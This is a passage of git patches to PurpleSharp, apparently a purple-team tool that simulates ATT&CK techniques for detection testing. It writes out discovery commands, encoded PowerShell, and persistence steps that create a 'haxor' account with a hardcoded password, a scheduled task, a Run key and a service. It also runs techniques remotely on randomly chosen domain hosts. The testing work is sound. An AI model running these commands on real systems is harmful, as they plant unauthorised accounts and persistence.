AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1033"); try { - ExecutionHelper.StartProcess("", "whoami", logger); - ExecutionHelper.StartProcess("", "query user", logger); + ExecutionHelper.StartProcessApi("", "whoami", logger); + ExecutionHelper.StartProcessApi("", "query user", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -264,13 +267,13 @@ public static void SystemUserDiscovery(string log) public static void SystemNetworkConnectionsDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1049"); try { - ExecutionHelper.StartProcess("", "netstat", logger); - ExecutionHelper.StartProcess("", "net use", logger); - ExecutionHelper.StartProcess("", "net session", logger); + ExecutionHelper.StartProcessApi("", "netstat", logger); + ExecutionHelper.StartProcessApi("", "net use", logger); + ExecutionHelper.StartProcessApi("", "net session", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -282,11 +285,11 @@ public static void SystemNetworkConnectionsDiscovery(string log) static public void SystemNetworkConfigurationDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1016"); try { - ExecutionHelper.StartProcess("", "ipconfig /all", logger); + ExecutionHelper.StartProcessApi("", "ipconfig /all", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -298,13 +301,13 @@ static public void SystemNetworkConfigurationDiscovery(string log) static public void FileAndDirectoryDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1083"); try { - ExecutionHelper.StartProcess("", @"dir c:\ >> %temp%\download", logger); - ExecutionHelper.StartProcess("", @"dir C:\Users\ >> %temp%\download", logger); + ExecutionHelper.StartProcessApi("", @"dir c:\ >> %temp%\download", logger); + ExecutionHelper.StartProcessApi("", @"dir C:\Users\ >> %temp%\download", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -313,17 +316,37 @@ static public void FileAndDirectoryDiscovery(string log) } } - public static void DomainTrustDiscovery(string log) + public static void DomainTrustDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1482"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("","nltest /domain_trusts", logger); - ExecutionHelper.StartProcess("", "nltest /all_trusts", logger); + ExecutionHelper.StartProcessApi("","nltest /domain_trusts", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void DomainTrustDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1482"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-DomainTrusts"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -341,8 +364,8 @@ public static void PasswordPolicyDiscovery(string log) try { - ExecutionHelper.StartProcess("", "net accounts", logger); - ExecutionHelper.StartProcess("", "net accounts /domain", logger); + ExecutionHelper.StartProcessApi("", "net accounts", logger); + ExecutionHelper.StartProcessApi("", "net accounts /domain", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -350,7 +373,6 @@ public static void PasswordPolicyDiscovery(string log) logger.SimulationFailed(ex); } } - public static void LocalGroups(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -360,8 +382,8 @@ public static void LocalGroups(string log) try { - ExecutionHelper.StartProcess("", "net localgroup", logger); - ExecutionHelper.StartProcess("", "net localgroup \"Administrators\"", logger); + ExecutionHelper.StartProcessApi("", "net localgroup", logger); + ExecutionHelper.StartProcessApi("", "net localgroup \"Administrators\"", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -382,13 +404,13 @@ public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string lo { foreach (string group in playbook_task.groups) { - ExecutionHelper.StartProcess("", String.Format("net group \"{0}\" /domain", group), logger); + ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger); } logger.SimulationFinished(); } else { - ExecutionHelper.StartProcess("", "net group /domain", logger); + ExecutionHelper.StartProcessApi("", "net group /domain", logger); logger.SimulationFinished(); } @@ -414,7 +436,7 @@ public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, st string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); - ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); } logger.SimulationFinished(); } @@ -423,7 +445,7 @@ public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, st string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like 'Domain Admins'}} | Get-ADGroupMember | Select SamAccountName"); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); - ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); logger.SimulationFinished(); } @@ -474,9 +496,9 @@ public static void QueryRegistry(string log) try { - ExecutionHelper.StartProcess("", "reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", logger); - ExecutionHelper.StartProcess("", "reg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"", logger); - ExecutionHelper.StartProcess("", "reg query HKLM\\System\\Currentcontrolset\\Service", logger); + ExecutionHelper.StartProcessApi("", "reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", logger); + ExecutionHelper.StartProcessApi("", "reg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"", logger); + ExecutionHelper.StartProcessApi("", "reg query HKLM\\System\\Currentcontrolset\\Service", logger); logger.SimulationFinished(); } @@ -495,8 +517,8 @@ public static void SecuritySoftwareDiscovery(string log) try { - ExecutionHelper.StartProcess("", "netsh advfirewall firewall show rule name=all", logger); - ExecutionHelper.StartProcess("", "wmic / Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName / Format:List", logger); + ExecutionHelper.StartProcessApi("", "netsh advfirewall firewall show rule name=all", logger); + ExecutionHelper.StartProcessApi("", "wmic / Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName / Format:List", logger); logger.SimulationFinished(); @@ -516,8 +538,8 @@ public static void SystemInformationDiscovery(string log) try { - ExecutionHelper.StartProcess("", "systeminfo", logger); - ExecutionHelper.StartProcess("", "net config workstation", logger); + ExecutionHelper.StartProcessApi("", "systeminfo", logger); + ExecutionHelper.StartProcessApi("", "net config workstation", logger); logger.SimulationFinished(); } @@ -536,8 +558,8 @@ public static void SystemTimeDiscovery(string log) try { - ExecutionHelper.StartProcess("", "w32tm /tz", logger); - ExecutionHelper.StartProcess("", "time /T", logger); + ExecutionHelper.StartProcessApi("", "w32tm /tz", logger); + ExecutionHelper.StartProcessApi("", "time /T", logger); logger.SimulationFinished(); } diff --git a/PurpleSharp/Simulations/Execution.cs b/PurpleSharp/Simulations/Execution.cs index 58d8efc..63025b5 100644 --- a/PurpleSharp/Simulations/Execution.cs +++ b/PurpleSharp/Simulations/Execution.cs @@ -15,7 +15,7 @@ static public void ExecutePowershellCmd(string log) try { string encodedPwd = "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA=="; - ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -57,7 +57,7 @@ static public void WindowsCommandShell(string log) logger.SimulationHeader("T1059.003"); try { - ExecutionHelper.StartProcess("", "cmd.exe /C whoami", logger); + ExecutionHelper.StartProcessApi("", "cmd.exe /C whoami", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -74,8 +74,8 @@ static public void ServiceExecution(string log) logger.SimulationHeader("T1569.002"); try { - ExecutionHelper.StartProcess("", "net start UpdaterService", logger); - ExecutionHelper.StartProcess("", "sc start UpdaterService", logger); + ExecutionHelper.StartProcessApi("", "net start UpdaterService", logger); + ExecutionHelper.StartProcessApi("", "sc start UpdaterService", logger); logger.SimulationFinished(); } @@ -95,7 +95,7 @@ static public void VisualBasic(string log) try { string file = "invoice0420.vbs"; - ExecutionHelper.StartProcess("", String.Format("wscript.exe {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("wscript.exe {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -114,7 +114,7 @@ static public void JScript(string log) try { string file = "invoice0420.js"; - ExecutionHelper.StartProcess("", String.Format("wscript.exe {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("wscript.exe {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) diff --git a/PurpleSharp/Simulations/ExecutionHelper.cs b/PurpleSharp/Simulations/ExecutionHelper.cs index 585438a..d3f4e99 100644 --- a/PurpleSharp/Simulations/ExecutionHelper.cs +++ b/PurpleSharp/Simulations/ExecutionHelper.cs @@ -1,7 +1,9 @@ +using PurpleSharp.Lib; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; +using System.Text; namespace PurpleSharp.Simulations { @@ -30,7 +32,7 @@ public static void StartProcess_old(string binary, string cmdline, Lib.Logger lo else if (retValue != false && cleanup == false ) logger.TimestampInfo("Could not start process!"); } - public static void StartProcess(string binary, string cmdline, Lib.Logger logger) + public static void StartProcessApi(string binary, string cmdline, Lib.Logger logger) { const uint NORMAL_PRIORITY_CLASS = 0x0020; @@ -51,6 +53,35 @@ public static void StartProcess(string binary, string cmdline, Lib.Logger logger else logger.TimestampInfo("Could not start process!"); } + public static void StartProcessNET(string binary, string cmdline, Logger logger) + { + + using (Process process = new Process()) + { + process.StartInfo.FileName = binary; + process.StartInfo.Arguments = cmdline; + process.StartInfo.UseShellExecute = false; + process.StartInfo.RedirectStandardOutput = true; + logger.TimestampInfo("Using the System.Diagnostics .NET namespace to execute the technique"); + process.Start(); + logger.TimestampInfo(String.Format("Process successfully created. (PID): " + process.Id)); + + string standard_output; + int i = 0; + while ((standard_output = process.StandardOutput.ReadLine()) != null && i < 5) + { + if (!standard_output.Trim().Equals("")) + { + //do something + logger.TimestampInfo(standard_output); + //Console.WriteLine(standard_output); + i++; + //break; + } + } + process.WaitForExit(); + } + } public static void StartProcessAsUser(string binary, string cmdline, string domain, string username, string password) { Structs.STARTUPINFO startupInfo = new Structs.STARTUPINFO(); diff --git a/PurpleSharp/Simulations/Persistence.cs b/PurpleSharp/Simulations/Persistence.cs index 1a6ae9c..9335b71 100644 --- a/PurpleSharp/Simulations/Persistence.cs +++ b/PurpleSharp/Simulations/Persistence.cs @@ -35,11 +35,11 @@ public static void CreateLocalAccountCmd(string log, bool cleanup) { string username = "haxor"; string pwd = "Passw0rd123El7"; - ExecutionHelper.StartProcess("", String.Format("net user {0} {1} /add", username, pwd), logger); + ExecutionHelper.StartProcessApi("", String.Format("net user {0} {1} /add", username, pwd), logger); Thread.Sleep(2000); if (cleanup) { - ExecutionHelper.StartProcess("", String.Format("net user {0} /delete", username), logger); + ExecutionHelper.StartProcessApi("", String.Format("net user {0} /delete", username), logger); } else { @@ -66,10 +66,10 @@ public static void CreateScheduledTaskCmd(string log, bool cleanup) { string taskName = "BadScheduledTask"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; - ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /CREATE /SC DAILY /TN {0} /TR ""{1}"" /ST 13:00", taskName, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"SCHTASKS /CREATE /SC DAILY /TN {0} /TR ""{1}"" /ST 13:00", taskName, binpath), logger); if (cleanup) { - ExecutionHelper.StartProcess("", String.Format(@"SCHTASKS /DELETE /F /TN {0}", taskName, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"SCHTASKS /DELETE /F /TN {0}", taskName, binpath), logger); Thread.Sleep(3000); } else @@ -116,11 +116,11 @@ public static void CreateRegistryRunKeyCmd(string log, bool cleanup) string regKey = "BadApp"; string binpath = @"C:\Windows\Temp\xyz12345.exe"; - ExecutionHelper.StartProcess("", String.Format(@"REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /t REG_SZ /F /D {1}", regKey, binpath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /t REG_SZ /F /D {1}", regKey, binpath), logger); if (cleanup) { Thread.Sleep(3000); - ExecutionHelper.StartProcess("", String.Format(@"REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /F", regKey), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V {0} /F", regKey), logger); } else { @@ -166,9 +166,9 @@ public static void CreateWindowsServiceCmd(string log, bool cleanup) { string serviceName = "UpdaterService"; string servicePath = @"C:\Windows\Temp\superlegit.exe"; - ExecutionHelper.StartProcess("", String.Format(@"sc create {0} binpath= {1} type= own start= auto", serviceName, servicePath), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"sc create {0} binpath= {1} type= own start= auto", serviceName, servicePath), logger); Thread.Sleep(3000); - if (cleanup) ExecutionHelper.StartProcess("", String.Format(@"sc delete {0}", serviceName), logger); + if (cleanup) ExecutionHelper.StartProcessApi("", String.Format(@"sc delete {0}", serviceName), logger); else logger.TimestampInfo(String.Format("The created Service: {0} ImagePath: {1} was not deleted as part of the simulation", serviceName, servicePath)); } catch(Exception ex) From 3a81e6175937db9b0daec957ac53a4a1be591604 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sat, 1 May 2021 14:36:32 -0400 Subject: [PATCH 18/20] adding variation for T1087.001 --- PurpleSharp/Program.cs | 3 ++- PurpleSharp/Simulations/Discovery.cs | 34 +++++++++++++++++++++++----- 2 files changed, 30 insertions(+), 7 deletions(-) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 9eacd50..795bb04 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1062,7 +1062,8 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) break; case "T1087.001": - Simulations.Discovery.LocalAccountDiscoveryCmd(log); + if (playbook_task.variation == 1) Simulations.Discovery.LocalAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.LocalAccountDiscoveryPowerShell(log); break; case "T1087.002": diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index 6a6effc..ca8444e 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -1,4 +1,5 @@ -using PurpleSharp.Lib; +using Microsoft.SqlServer.Server; +using PurpleSharp.Lib; using System; using System.Collections.Generic; using System.Security.Principal; @@ -212,14 +213,36 @@ public static void DomainAccountDiscoveryPowerShell(string log) public static void LocalAccountDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1087.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { - //ExecutionHelper.StartProcess("", "net group \"Domain Admins\" /domain", log); - ExecutionHelper.StartProcessApi("", "net user", logger); + //ExecutionHelper.StartProcessApi("", "net user", logger); + ExecutionHelper.StartProcessNET("net.exe", "user", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void LocalAccountDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1087.001"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-LocalUser"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + logger.SimulationFinished(); } catch (Exception ex) @@ -231,7 +254,7 @@ public static void LocalAccountDiscoveryCmd(string log) public static void SystemServiceDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1007"); try { @@ -254,7 +277,6 @@ public static void SystemUserDiscovery(string log) try { ExecutionHelper.StartProcessApi("", "whoami", logger); - ExecutionHelper.StartProcessApi("", "query user", logger); logger.SimulationFinished(); } catch(Exception ex) From 05c1fb9be93cec56f015ef20e14936f02f45e47f Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sat, 1 May 2021 16:23:07 -0400 Subject: [PATCH 19/20] Fixing sleep time between pbs --- PurpleSharp/Program.cs | 63 +++++++++++++--------- PurpleSharp/Simulations/ExecutionHelper.cs | 4 +- 2 files changed, 39 insertions(+), 28 deletions(-) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 795bb04..f34d689 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -203,7 +203,7 @@ public static void Main(string[] args) catch { Console.WriteLine("[!] Error generating JSON layer..."); - Console.WriteLine("[!] Exitting..."); + Console.WriteLine("[!] Exiting..."); return; } } @@ -223,7 +223,7 @@ public static void Main(string[] args) else { Console.WriteLine("[!] Didnt recognize parameter..."); - Console.WriteLine("[!] Exitting..."); + Console.WriteLine("[!] Exiting..."); return; } @@ -300,7 +300,9 @@ public static void Main(string[] args) { if (engagement.type.Equals("local")) { - Console.WriteLine("[+] PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count); + logger.TimestampInfo(String.Format("PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count)); + //Console.WriteLine("[+] PurpleSharp will execute up to {0} playbook(s) locally", engagement.playbooks.Count); + SimulationPlaybook lastPlaybook = engagement.playbooks.Last(); string results =""; foreach (SimulationPlaybook playbook in engagement.playbooks) { @@ -318,20 +320,29 @@ public static void Main(string[] args) if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); } logger.TimestampInfo("Playbook Finished"); + if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) + { + Console.WriteLine(); + logger.TimestampInfo(String.Format("Sleeping {0} seconds until next playbook...", engagement.sleep)); + Thread.Sleep(1000 * engagement.sleep ); + } } } - results = System.IO.File.ReadAllText(log); + + logger.TimestampInfo("Writting JSON results..."); + results = File.ReadAllText(log); string output_file = pb_file.Replace(".json", "") + "_results.json"; SimulationExerciseResult simulationresults = Json.GetSimulationExerciseResult(results); Json.WriteJsonSimulationResults(simulationresults, output_file); + logger.TimestampInfo("DONE. Open " + output_file); } else if (engagement.type.Equals("remote")) { Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username); engagement.password = Utils.GetPassword(); - Console.WriteLine("[+] PurpleSharp will executeup to {0} playbook(s) remotely", engagement.playbooks.Count); + logger.TimestampInfo(String.Format("PurpleSharp will executeup to {0} playbook(s) remotely", engagement.playbooks.Count)); SimulationExerciseResult engagementResults = new SimulationExerciseResult(); engagementResults.playbookresults = new List(); @@ -345,7 +356,7 @@ public static void Main(string[] args) playbookResults.taskresults = new List(); playbookResults.name = playbook.name; playbookResults.host = playbook.remote_host; - Console.WriteLine("[+] Running Playbook {0}", playbook.name); + logger.TimestampInfo(String.Format("Running Playbook {0}", playbook.name)); PlaybookTask lastTask = playbook.tasks.Last(); List techs = new List(); @@ -362,19 +373,19 @@ public static void Main(string[] args) Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); var random = new Random(); int index = random.Next(targets.Count); - Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); + logger.TimestampInfo(String.Format("Picked random host for simulation {0}",targets[index].Fqdn)); + logger.TimestampInfo(String.Format("Executing techniques {0} against {1}", techs2, targets[index].Fqdn)); playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } - else Console.WriteLine("[!] Could not obtain targets for the simulation"); + else logger.TimestampInfo("Could not obtain targets for the simulation"); } else { - Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); + logger.TimestampInfo(String.Format("Executing techniques {0} against {1}", techs2, playbook.remote_host)); playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; @@ -383,25 +394,25 @@ public static void Main(string[] args) if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) { Console.WriteLine(); - Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep); + logger.TimestampInfo(String.Format("Sleeping {0} minutes until next playbook...", engagement.sleep)); Thread.Sleep(1000 * engagement.sleep * 60); } engagementResults.playbookresults.Add(playbookResults); } } - Console.WriteLine("Writting JSON results..."); + logger.TimestampInfo("Writting JSON results..."); string output_file = pb_file.Replace(".json", "") + "_results.json"; Json.WriteJsonSimulationResults(engagementResults, output_file); - Console.WriteLine("DONE. Open " + output_file); + logger.TimestampInfo("DONE. Open " + output_file); Console.WriteLine(); return; } } else { - Console.WriteLine("[!] Could not parse JSON input."); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Could not parse JSON input."); + logger.TimestampInfo("Exiting"); return; } } @@ -410,7 +421,7 @@ public static void Main(string[] args) if (remote) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals("") && !techniques.Equals("")) { @@ -434,10 +445,10 @@ public static void Main(string[] args) targets = Ldap.GetADComputers(10, logger, dc, ruser, rpwd); if (targets.Count > 0) { - Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); + logger.TimestampInfo(String.Format("Obtained {0} possible targets.", targets.Count)); var random = new Random(); int index = random.Next(targets.Count); - Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); + logger.TimestampInfo(String.Format("Picked Random host for simulation: " + targets[index].Fqdn)); config_params.remote_host = targets[index].Fqdn; ExecuteRemoteTechniquesSerialized(config_params); //ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); @@ -445,22 +456,22 @@ public static void Main(string[] args) } else { - Console.WriteLine("[!] Could not obtain targets for the simulation"); + logger.TimestampInfo("Could not obtain targets for the simulation"); return; } } else { - Console.WriteLine("[*] Missing dc :( "); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Missing dc!"); + logger.TimestampInfo("Exiting"); return; } } else { - Console.WriteLine("[*] Missing parameters :( "); - Console.WriteLine("[*] Exiting"); + logger.TimestampInfo("Missing parameters :( "); + logger.TimestampInfo("Exiting"); return; } } @@ -607,7 +618,7 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p Thread.Sleep(1000); RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); - Console.WriteLine("[!] Exitting."); + Console.WriteLine("[!] Exiting."); return; } else @@ -674,7 +685,7 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p else { Console.WriteLine("[!] Could not connect to namedpipe service"); - Console.WriteLine("[!] Exitting."); + Console.WriteLine("[!] Exiting."); return; } } @@ -781,7 +792,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim Thread.Sleep(1000); RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); - //Console.WriteLine("[!] Exitting."); + //Console.WriteLine("[!] Exiting."); return null; } else diff --git a/PurpleSharp/Simulations/ExecutionHelper.cs b/PurpleSharp/Simulations/ExecutionHelper.cs index d3f4e99..9e665fa 100644 --- a/PurpleSharp/Simulations/ExecutionHelper.cs +++ b/PurpleSharp/Simulations/ExecutionHelper.cs @@ -43,7 +43,7 @@ public static void StartProcessApi(string binary, string cmdline, Lib.Logger log Structs.SECURITY_ATTRIBUTES tSec = new Structs.SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); - logger.TimestampInfo("Using the Win32 API call CreateProcess to execute: " + cmdline); + logger.TimestampInfo(String.Format("Using the Win32 API call CreateProcess to execute: '{0}'", cmdline)); retValue = WinAPI.CreateProcess(null, cmdline, ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); if (retValue) @@ -62,7 +62,7 @@ public static void StartProcessNET(string binary, string cmdline, Logger logger) process.StartInfo.Arguments = cmdline; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; - logger.TimestampInfo("Using the System.Diagnostics .NET namespace to execute the technique"); + logger.TimestampInfo(String.Format("Using the System.Diagnostics .NET namespace to execute '{0} {1}'", binary, cmdline)); process.Start(); logger.TimestampInfo(String.Format("Process successfully created. (PID): " + process.Id)); From 94f8b1f6857335896346f58cf4fcb87799853685 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Mon, 3 May 2021 09:34:15 -0400 Subject: [PATCH 20/20] adding T1018 technique --- PurpleSharp/Lib/Targets.cs | 9 ++- PurpleSharp/Program.cs | 14 ++++- PurpleSharp/Simulations/CredAccess.cs | 6 +- PurpleSharp/Simulations/Discovery.cs | 69 ++++++++++++++++++---- PurpleSharp/Simulations/ExecutionHelper.cs | 2 +- 5 files changed, 82 insertions(+), 18 deletions(-) diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index a078723..b9f464e 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -128,9 +128,10 @@ public static List GetRandomUsernames(int count, Random random) public static List GetUserTargets(PlaybookTask playbook_task, Logger logger) { + PrincipalContext context; + string dc; List targetusers = new List(); - PrincipalContext context = new PrincipalContext(ContextType.Domain); - string dc = context.ConnectedServer; + switch (playbook_task.user_target_type) { @@ -144,6 +145,8 @@ public static List GetUserTargets(PlaybookTask playbook_task, Logger logge break; case 2: + context = new PrincipalContext(ContextType.Domain); + dc = context.ConnectedServer; logger.TimestampInfo("Targeting random domain users"); targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, true); logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); @@ -168,6 +171,8 @@ public static List GetUserTargets(PlaybookTask playbook_task, Logger logge break; case 6: + context = new PrincipalContext(ContextType.Domain); + dc = context.ConnectedServer; logger.TimestampInfo("Targeting disabled users"); targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, false); logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index f34d689..1690add 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -57,7 +57,7 @@ public static void Main(string[] args) string[] privelege_escalation = new string[] { "T1053.005", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" }; string[] defense_evasion = new string[] { "T1218.010", "T1218.005", "T1218.003", "T1218.011", "T1070.001", "T1220", "T1055.002", "T1055.003", "T1055.004", "T1140", "T1197", "T1218.009", "T1218.004", "T1134.004" }; string[] credential_access = new string[] { "T1110.003", "T1558.003", "T1003.001" }; - string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1083", "T1482", 